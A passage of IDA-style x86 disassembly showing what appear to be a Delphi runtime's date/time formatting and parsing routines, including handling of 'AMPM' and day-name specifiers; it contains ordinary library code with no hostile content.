; DATA XREF: sub_40009590+E0o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40009590 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_40009694 dd 7979h, 0FFFFFFFFh, 4aYyyy db 'yyyy',0 ; DATA XREF: sub_40009590+61o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400096A8 proc near ; CODE XREF: sub_400096A8+2FDp
; sub_400096A8+311p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD4h
push ebx
push esi
push edi
xor edx, edx
mov [ebp+var_2C], edx
mov [ebp+var_28], edx
mov [ebp+var_4], eax
lea edi, [ebp+var_4]
xor eax, eax
push ebp
push offset loc_40009E2C
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp dword ptr [edi], 0
jz loc_40009E11
mov eax, [ebp+arg_0]
cmp dword ptr [eax-108h], 2
jge loc_40009E11
mov eax, [ebp+arg_0]
inc dword ptr [eax-108h]
mov [ebp+var_1E], 20h
mov [ebp+var_13], 0
mov [ebp+var_1D], 0
mov [ebp+var_1F], 0
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009704: ; CODE XREF: sub_400096A8+75Aj
mov eax, [edi]
movzx eax, byte ptr [eax]
mov [ebp+var_5], al
movzx eax, [ebp+var_5]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_40009743
mov eax, [ebp+arg_0]
push eax
mov eax, [edi]
call sub_4000BB60
mov edx, eax
mov eax, [edi]
call sub_400092C4
pop ecx
mov eax, [edi]
call sub_4000BB80
mov [edi], eax
mov [ebp+var_1E], 20h
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009743: ; CODE XREF: sub_400096A8+72j
mov eax, [edi]
call sub_4000BB80
mov [edi], eax
movzx ebx, [ebp+var_5]
mov eax, ebx
add al, 9Fh
sub al, 1Ah
jnb short loc_4000975B
sub bl, 20h
loc_4000975B: ; CODE XREF: sub_400096A8+AEj
mov eax, ebx
add al, 0BFh
sub al, 1Ah
jnb short loc_40009773
cmp bl, 4Dh
jnz short loc_40009770
cmp [ebp+var_1E], 48h
jnz short loc_40009770
mov bl, 4Eh
loc_40009770: ; CODE XREF: sub_400096A8+BEj
; sub_400096A8+C4j
mov [ebp+var_1E], bl
loc_40009773: ; CODE XREF: sub_400096A8+B9j
movzx eax, bl
add eax, 0FFFFFFDEh
cmp eax, 38h ; switch 57 cases
ja loc_40009DEB ; default
; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
movzx eax, ds:byte_40009790[eax]
jmp ds:off_400097C9[eax*4] ; switch jump
; ---------------------------------------------------------------------------
byte_40009790 db 0Fh, 0, 0, 0 ; DATA XREF: sub_400096A8+DAr
db 0, 0Fh, 0, 0 ; indirect table for switch statement
db 0, 0, 0, 0
db 0, 0Dh, 0, 0
db 0, 0, 0, 0
db 0, 0, 0, 0
db 0Eh, 0, 0, 0
db 0, 0, 0, 0Bh
db 0, 0Ch, 5, 3
db 0, 2, 6, 0
db 0, 0, 0, 4
db 7, 0, 0, 0
db 0, 8, 9, 0
db 0, 0, 0, 1
db 0Ah
off_400097C9 dd offset loc_40009DEB, offset loc_40009809, offset loc_40009858
; DATA XREF: sub_400096A8+E1r
dd offset loc_40009885, offset loc_400098B2, offset loc_40009917 ; jump table for switch statement
dd offset loc_400099C4, offset loc_40009AC8, offset loc_40009AF9
dd offset loc_40009B2A, offset loc_40009B5F, offset loc_40009B90
dd offset loc_40009CFD, offset loc_40009D5B, offset loc_40009D7E
dd offset loc_40009D9D
; ---------------------------------------------------------------------------
loc_40009809: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 55
call sub_40009370
pop ecx
push ebp
call sub_4000939C
pop ecx
cmp [ebp+var_C], 2
jg short loc_40009840
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_E]
mov ecx, 64h
xor edx, edx
div ecx
mov eax, edx
mov edx, 2
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009840: ; CODE XREF: sub_400096A8+173j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_E]
mov edx, 4
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009858: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 37
call sub_40009370
pop ecx
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+arg_0]
push eax
push ebp
lea edx, [ebp+var_28]
mov eax, [ebp+var_C]
call sub_40009414
pop ecx
mov eax, [ebp+var_28]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009885: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 35
call sub_40009370
pop ecx
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+arg_0]
push eax
push ebp
lea edx, [ebp+var_2C]
mov eax, [ebp+var_C]
call sub_40009590
pop ecx
mov eax, [ebp+var_2C]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_400098B2: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 43
call sub_40009370
pop ecx
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+var_C]
dec eax
sub eax, 2
jb short loc_400098CD
jz short loc_400098E3
jmp short loc_400098FD
; ---------------------------------------------------------------------------
loc_400098CD: ; CODE XREF: sub_400096A8+21Fj
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_10]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_400098E3: ; CODE XREF: sub_400096A8+221j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_10]
mov eax, ds:dword_4001E82C[eax*4]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_400098FD: ; CODE XREF: sub_400096A8+223j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_10]
mov eax, ds:dword_4001E85C[eax*4]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009917: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 34
call sub_40009370
pop ecx
mov eax, [ebp+var_C]
dec eax
sub eax, 2
jb short loc_40009931
jz short loc_4000994E
dec eax
jz short loc_40009975
dec eax
jz short loc_4000999C
jmp short loc_400099B0
; ---------------------------------------------------------------------------
loc_40009931: ; CODE XREF: sub_400096A8+27Dj
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_12]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_4000994E: ; CODE XREF: sub_400096A8+27Fj
mov eax, [ebp+arg_0]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
call sub_40009288
movzx eax, ax
mov eax, ds:dword_4001E88C[eax*4]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009975: ; CODE XREF: sub_400096A8+282j
mov eax, [ebp+arg_0]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
call sub_40009288
movzx eax, ax
mov eax, ds:dword_4001E8A8[eax*4]
call sub_40009308
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_4000999C: ; CODE XREF: sub_400096A8+285j
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E814
call sub_400096A8
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_400099B0: ; CODE XREF: sub_400096A8+287j
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E818
call sub_400096A8
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_400099C4: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 38
call sub_40009370
pop ecx
push ebp
call sub_400093D4
pop ecx
mov [ebp+var_20], 0
mov esi, [edi]
jmp loc_40009A73
; ---------------------------------------------------------------------------
loc_400099DD: ; CODE XREF: sub_400096A8+3CEj
movzx eax, byte ptr [esi]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_400099F7
mov eax, esi
call sub_4000BB80
mov esi, eax
jmp short loc_40009A73
; ---------------------------------------------------------------------------
loc_400099F7: ; CODE XREF: sub_400096A8+342j
movzx eax, byte ptr [esi]
cmp eax, 48h
jg short loc_40009A12
jz short loc_40009A7C
sub eax, 22h
jz short loc_40009A69
sub eax, 5
jz short loc_40009A69
sub eax, 1Ah
jz short loc_40009A1E
jmp short loc_40009A72
; ---------------------------------------------------------------------------
loc_40009A12: ; CODE XREF: sub_400096A8+355j
sub eax, 61h
jz short loc_40009A1E
sub eax, 7
jz short loc_40009A7C
jmp short loc_40009A72
; ---------------------------------------------------------------------------
loc_40009A1E: ; CODE XREF: sub_400096A8+366j
; sub_400096A8+36Dj
cmp [ebp+var_20], 0
jnz short loc_40009A72
mov edx, offset dword_40009E3C
mov ecx, 5
mov eax, esi
call sub_400081E0
test eax, eax
jz short loc_40009A63
mov edx, offset dword_40009E44
mov ecx, 3
mov eax, esi
call sub_400081E0
test eax, eax
jz short loc_40009A63
mov edx, offset aAmpm ; "AMPM"
mov ecx, 4
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009A7C
loc_40009A63: ; CODE XREF: sub_400096A8+38Fj
; sub_400096A8+3A4j
mov [ebp+var_1F], 1
jmp short loc_40009A7C
; ---------------------------------------------------------------------------
loc_40009A69: ; CODE XREF: sub_400096A8+35Cj
; sub_400096A8+361j
movzx eax, [ebp+var_20]
xor al, 1
mov [ebp+var_20], al
loc_40009A72: ; CODE XREF: sub_400096A8+368j
; sub_400096A8+374j ...
inc esi
loc_40009A73: ; CODE XREF: sub_400096A8+330j
; sub_400096A8+34Dj
cmp byte ptr [esi], 0
jnz loc_400099DD
loc_40009A7C: ; CODE XREF: sub_400096A8+357j
; sub_400096A8+372j ...
movzx eax, [ebp+var_16]
mov [ebp+var_22], ax
cmp [ebp+var_1F], 0
jz short loc_40009AA5
cmp [ebp+var_22], 0
jnz short loc_40009A99
mov [ebp+var_22], 0Ch
jmp short loc_40009AA5
; ---------------------------------------------------------------------------
loc_40009A99: ; CODE XREF: sub_400096A8+3E7j
cmp [ebp+var_22], 0Ch
jbe short loc_40009AA5
sub [ebp+var_22], 0Ch
loc_40009AA5: ; CODE XREF: sub_400096A8+3E0j
; sub_400096A8+3EFj ...
cmp [ebp+var_C], 2
jle short loc_40009AB2
mov [ebp+var_C], 2
loc_40009AB2: ; CODE XREF: sub_400096A8+401j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_22]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009AC8: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 44
call sub_40009370
pop ecx
push ebp
call sub_400093D4
pop ecx
cmp [ebp+var_C], 2
jle short loc_40009AE3
mov [ebp+var_C], 2
loc_40009AE3: ; CODE XREF: sub_400096A8+432j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_18]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009AF9: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 49
call sub_40009370
pop ecx
push ebp
call sub_400093D4
pop ecx
cmp [ebp+var_C], 2
jle short loc_40009B14
mov [ebp+var_C], 2
loc_40009B14: ; CODE XREF: sub_400096A8+463j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_1A]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009B2A: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 50
call sub_40009370
pop ecx
cmp [ebp+var_C], 1
jnz short loc_40009B4B
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E828
call sub_400096A8
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009B4B: ; CODE XREF: sub_400096A8+48Dj
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E82C
call sub_400096A8
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009B5F: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 56
call sub_40009370
pop ecx
push ebp
call sub_400093D4
pop ecx
cmp [ebp+var_C], 3
jle short loc_40009B7A
mov [ebp+var_C], 3
loc_40009B7A: ; CODE XREF: sub_400096A8+4C9j
mov eax, [ebp+arg_0]
push eax
movzx eax, [ebp+var_1C]
mov edx, [ebp+var_C]
call sub_40009324
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009B90: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 31
call sub_400093D4
pop ecx
mov esi, [edi]
dec esi
mov edx, offset dword_40009E3C
mov ecx, 5
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009BD6
cmp [ebp+var_16], 0Ch
jb short loc_40009BB9
add esi, 3
loc_40009BB9: ; CODE XREF: sub_400096A8+50Cj
mov eax, [ebp+arg_0]
push eax
mov edx, 2
mov eax, esi
call sub_400092C4
pop ecx
add dword ptr [edi], 4
mov [ebp+var_1F], 1
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009BD6: ; CODE XREF: sub_400096A8+505j
mov edx, offset dword_40009E44
mov ecx, 3
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009C12
cmp [ebp+var_16], 0Ch
jb short loc_40009BF5
add esi, 2
loc_40009BF5: ; CODE XREF: sub_400096A8+548j
mov eax, [ebp+arg_0]
push eax
mov edx, 1
mov eax, esi
call sub_400092C4
pop ecx
add dword ptr [edi], 2
mov [ebp+var_1F], 1
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009C12: ; CODE XREF: sub_400096A8+541j
mov edx, offset aAmpm ; "AMPM"
mov ecx, 4
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009C5A
cmp [ebp+var_16], 0Ch
jnb short loc_40009C3F
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E820
call sub_40009308
pop ecx
jmp short loc_40009C4E
; ---------------------------------------------------------------------------
loc_40009C3F: ; CODE XREF: sub_400096A8+584j
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E824
call sub_40009308
pop ecx
loc_40009C4E: ; CODE XREF: sub_400096A8+595j
add dword ptr [edi], 3
mov [ebp+var_1F], 1
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009C5A: ; CODE XREF: sub_400096A8+57Dj
mov edx, offset aAaaa ; "AAAA"
mov ecx, 4
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009CA0
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+arg_0]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
call sub_40009288
movzx eax, ax
mov eax, ds:dword_4001E8A8[eax*4]
call sub_40009308
pop ecx
add dword ptr [edi], 3
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009CA0: ; CODE XREF: sub_400096A8+5C5j
mov edx, offset aAaa ; "AAA"
mov ecx, 3
mov eax, esi
call sub_400081E0
test eax, eax
jnz short loc_40009CE6
push ebp
call sub_4000939C
pop ecx
mov eax, [ebp+arg_0]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
call sub_40009288
movzx eax, ax
mov eax, ds:dword_4001E88C[eax*4]
call sub_40009308
pop ecx
add dword ptr [edi], 2
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009CE6: ; CODE XREF: sub_400096A8+60Bj
mov eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_5]
mov edx, 1
call sub_400092C4
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009CFD: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
push ebp ; jumptable 40009789 case 33
call sub_40009370
pop ecx
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E814
call sub_400096A8
pop ecx
push ebp
call sub_400093D4
pop ecx
cmp [ebp+var_16], 0
jnz short loc_40009D33
cmp [ebp+var_18], 0
jnz short loc_40009D33
cmp [ebp+var_1A], 0
jz loc_40009DFD
loc_40009D33: ; CODE XREF: sub_400096A8+677j
; sub_400096A8+67Ej
mov eax, [ebp+arg_0]
push eax
mov eax, offset asc_40009E5C ; " "
mov edx, 1
call sub_400092C4
pop ecx
mov eax, [ebp+arg_0]
push eax
mov eax, ds:dword_4001E82C
call sub_400096A8
pop ecx
jmp loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009D5B: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
cmp ds:byte_4001E811, 0 ; jumptable 40009789 case 13
jz loc_40009DFD
mov eax, [ebp+arg_0]
push eax
mov eax, offset byte_4001E811
mov edx, 1
call sub_400092C4
pop ecx
jmp short loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009D7E: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
cmp ds:byte_4001E81C, 0 ; jumptable 40009789 case 24
jz short loc_40009DFD
mov eax, [ebp+arg_0]
push eax
mov eax, offset byte_4001E81C
mov edx, 1
call sub_400092C4
pop ecx
jmp short loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009D9D: ; CODE XREF: sub_400096A8+E1j
; DATA XREF: sub_400096A8:off_400097C9o
mov esi, [edi] ; jumptable 40009789 cases 0,5
jmp short loc_40009DBF
; ---------------------------------------------------------------------------
loc_40009DA1: ; CODE XREF: sub_400096A8+726j
mov eax, [edi]
movzx eax, byte ptr [eax]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_40009DBD
mov eax, [edi]
call sub_4000BB80
mov [edi], eax
jmp short loc_40009DBF
; ---------------------------------------------------------------------------
loc_40009DBD: ; CODE XREF: sub_400096A8+708j
inc dword ptr [edi]
loc_40009DBF: ; CODE XREF: sub_400096A8+6F7j
; sub_400096A8+713j
mov eax, [edi]
cmp byte ptr [eax], 0
jz short loc_40009DD0
mov eax, [edi]
movzx eax, byte ptr [eax]
cmp al, [ebp+var_5]
jnz short loc_40009DA1
loc_40009DD0: ; CODE XREF: sub_400096A8+71Cj
mov eax, [ebp+arg_0]
push eax
mov edx, [edi]
sub edx, esi
mov eax, esi
call sub_400092C4
pop ecx
mov eax, [edi]
cmp byte ptr [eax], 0
jz short loc_40009DFD
inc dword ptr [edi]
jmp short loc_40009DFD
; ---------------------------------------------------------------------------
loc_40009DEB: ; CODE XREF: sub_400096A8+D4j
; sub_400096A8+E1j
; DATA XREF: ...
mov eax, [ebp+arg_0] ; default
; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
push eax
lea eax, [ebp+var_5]
mov edx, 1
call sub_400092C4
pop ecx
loc_40009DFD: ; CODE XREF: sub_400096A8+57j
; sub_400096A8+96j ...
mov eax, [edi]
cmp byte ptr [eax], 0
jnz loc_40009704
mov eax, [ebp+arg_0]
dec dword ptr [eax-108h]
loc_40009E11: ; CODE XREF: sub_400096A8+28j
; sub_400096A8+38j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40009E33
loc_40009E1E: ; CODE XREF: sub_400096A8+789j
lea eax, [ebp+var_2C]
mov edx, 2
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40009E2C: ; DATA XREF: sub_400096A8+1Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40009E1E
; ---------------------------------------------------------------------------
loc_40009E33: ; CODE XREF: sub_400096A8+783j
; DATA XREF: sub_400096A8+771o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400096A8 endp
; ---------------------------------------------------------------------------
align 4
dword_40009E3C dd 502F4D41h, 4Dh ; sub_400096A8+4F2o
dword_40009E44 dd 502F41h ; sub_400096A8:loc_40009BD6o
aAmpm db 'AMPM',0 ; DATA XREF: sub_400096A8+3A6o
; sub_400096A8:loc_40009C12o
align 10h
aAaaa db 'AAAA',0 ; DATA XREF: sub_400096A8:loc_40009C5Ao
align 4
aAaa db 'AAA',0 ; DATA XREF: sub_400096A8:loc_40009CA0o
asc_40009E5C: ; DATA XREF: sub_400096A8+68Fo
unicode 0, < >,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009E60 proc near ; CODE XREF: sub_4000D158+3Ap
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
push ebp
mov ebp, esp
add esp, 0FFFFFEF8h
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
mov [ebp+var_104], eax
xor eax, eax
mov [ebp+var_108], eax
test ebx, ebx
jz short loc_40009E8E
push ebp
mov eax, ebx
call sub_400096A8
pop ecx
jmp short loc_40009E9A
; ---------------------------------------------------------------------------
loc_40009E8E: ; CODE XREF: sub_40009E60+21j
push ebp
mov eax, offset dword_40009EB8
call sub_400096A8
pop ecx
loc_40009E9A: ; CODE XREF: sub_40009E60+2Cj
lea edx, [ebp+var_100]
mov eax, esi
mov ecx, [ebp+var_104]
call sub_40004974
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40009E60 endp
; ---------------------------------------------------------------------------
align 4
dword_40009EB8 dd 43h
; =============== S U B R O U T I N E =======================================
sub_40009EBC proc near ; CODE XREF: sub_40009EE0+20p
; sub_40009F74+36p ...
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov ebx, [edi]
jmp short loc_40009EC8
; ---------------------------------------------------------------------------
loc_40009EC7: ; CODE XREF: sub_40009EBC+1Cj
inc ebx
loc_40009EC8: ; CODE XREF: sub_40009EBC+9j
mov eax, esi
call sub_40004B44
cmp ebx, eax
jg short loc_40009EDA
cmp byte ptr [esi+ebx-1], 20h
jz short loc_40009EC7
loc_40009EDA: ; CODE XREF: sub_40009EBC+15j
mov [edi], ebx
pop edi
pop esi
pop ebx
retn
sub_40009EBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009EE0 proc near ; CODE XREF: sub_4000A1CC+B9p
; sub_4000A1CC+E9p ...
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_8], ecx
mov [ebp+var_4], edx
mov edi, eax
mov [ebp+var_9], 0
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov edx, [ebp+var_4]
mov eax, edi
call sub_40009EBC
mov ebx, [ebp+var_4]
mov ebx, [ebx]
xor esi, esi
jmp short loc_40009F24
; ---------------------------------------------------------------------------
loc_40009F0E: ; CODE XREF: sub_40009EE0+5Fj
mov eax, esi
add eax, eax
lea eax, [eax+eax*4]
movzx edx, byte ptr [edi+ebx-1]
sub dx, 30h
add ax, dx
mov esi, eax
inc ebx
loc_40009F24: ; CODE XREF: sub_40009EE0+2Cj
mov eax, edi
call sub_40004B44
cmp ebx, eax
jg short loc_40009F41
movzx eax, byte ptr [edi+ebx-1]
add al, 0D0h
sub al, 0Ah
jnb short loc_40009F41
cmp si, 3E8h
jb short loc_40009F0E
loc_40009F41: ; CODE XREF: sub_40009EE0+4Dj
; sub_40009EE0+58j
mov eax, [ebp+var_4]
cmp ebx, [eax]
jle short loc_40009F65
mov eax, ebx
mov edx, [ebp+var_4]
mov edx, [edx]
sub al, dl
mov edx, [ebp+arg_0]
mov [edx], al
mov eax, [ebp+var_4]
mov [eax], ebx
mov eax, [ebp+var_8]
mov [eax], si
mov [ebp+var_9], 1
loc_40009F65: ; CODE XREF: sub_40009EE0+66j
movzx eax, [ebp+var_9]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_40009EE0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009F74 proc near ; CODE XREF: sub_4000A518+1Dp
; sub_4000A518+2Fp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_14], ebx
mov ebx, ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_4000A03A
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_9], 0
test ebx, ebx
jz loc_4000A024
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
call sub_40009EBC
mov esi, ebx
test esi, esi
jz short loc_40009FBA
sub esi, 4
mov esi, [esi]
loc_40009FBA: ; CODE XREF: sub_40009F74+3Fj
lea eax, [ebp+var_14]
push eax
mov edx, [ebp+var_8]
mov edx, [edx]
mov ecx, esi
mov eax, [ebp+var_4]
call sub_40004DA8
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
mov esi, ebx
test esi, esi
jz short loc_40009FDE
sub esi, 4
mov esi, [esi]
loc_40009FDE: ; CODE XREF: sub_40009F74+63j
mov edi, [ebp+var_10]
test edi, edi
jz short loc_40009FEA
sub edi, 4
mov edi, [edi]
loc_40009FEA: ; CODE XREF: sub_40009F74+6Fj
push edi
mov eax, [ebp+var_10]
call sub_40004D48
push eax
push esi
mov eax, ebx
call sub_40004D48
push eax
push 1
push 400h
call sub_400064F8 ; CompareStringA
sub eax, 2
test eax, eax
jnz short loc_4000A024
mov eax, ebx
test eax, eax
jz short loc_4000A01B
sub eax, 4
mov eax, [eax]
loc_4000A01B: ; CODE XREF: sub_40009F74+A0j
mov edx, [ebp+var_8]
add [edx], eax
mov [ebp+var_9], 1
loc_4000A024: ; CODE XREF: sub_40009F74+2Aj
; sub_40009F74+9Aj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000A041
loc_4000A031: ; CODE XREF: sub_40009F74+CBj
lea eax, [ebp+var_14]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000A03A: ; DATA XREF: sub_40009F74+19o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000A031
; ---------------------------------------------------------------------------
loc_4000A041: ; CODE XREF: sub_40009F74+C5j
; DATA XREF: sub_40009F74+B8o
movzx eax, [ebp+var_9]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40009F74 endp
; =============== S U B R O U T I N E =======================================
sub_4000A04C proc near ; CODE XREF: sub_4000A1CC+D1p
; sub_4000A1CC+101p ...
var_10 = byte ptr -10h
push ebx
push esi
push edi
push ecx
mov [esp+10h+var_10], cl
mov edi, edx
mov esi, eax
xor ebx, ebx
mov edx, edi
mov eax, esi
call sub_40009EBC
mov eax, esi
test eax, eax
jz short loc_4000A06D
sub eax, 4
mov eax, [eax]
loc_4000A06D: ; CODE XREF: sub_4000A04C+1Aj
cmp eax, [edi]
jl short loc_4000A081
mov eax, [edi]
movzx eax, byte ptr [esi+eax-1]
cmp al, [esp+10h+var_10]
jnz short loc_4000A081
inc dword ptr [edi]
mov bl, 1
loc_4000A081: ; CODE XREF: sub_4000A04C+23j
; sub_4000A04C+2Fj
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
retn
sub_4000A04C endp
; =============== S U B R O U T I N E =======================================
sub_4000A088 proc near ; CODE XREF: sub_4000A1CC+47p
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
mov edi, 1
jmp short loc_4000A0C0
; ---------------------------------------------------------------------------
loc_4000A096: ; CODE XREF: sub_4000A088+41j
movzx eax, byte ptr [esi+edi-1]
and al, 0DFh
sub al, 44h
jz short loc_4000A0BB
dec al
jz short loc_4000A0AF
sub al, 8
jz short loc_4000A0B7
sub al, 0Ch
jz short loc_4000A0B3
jmp short loc_4000A0BF
; ---------------------------------------------------------------------------
loc_4000A0AF: ; CODE XREF: sub_4000A088+1Bj
mov bl, 2
jmp short loc_4000A0CD
; ---------------------------------------------------------------------------
loc_4000A0B3: ; CODE XREF: sub_4000A088+23j
mov bl, 2
jmp short loc_4000A0CD
; ---------------------------------------------------------------------------
loc_4000A0B7: ; CODE XREF: sub_4000A088+1Fj
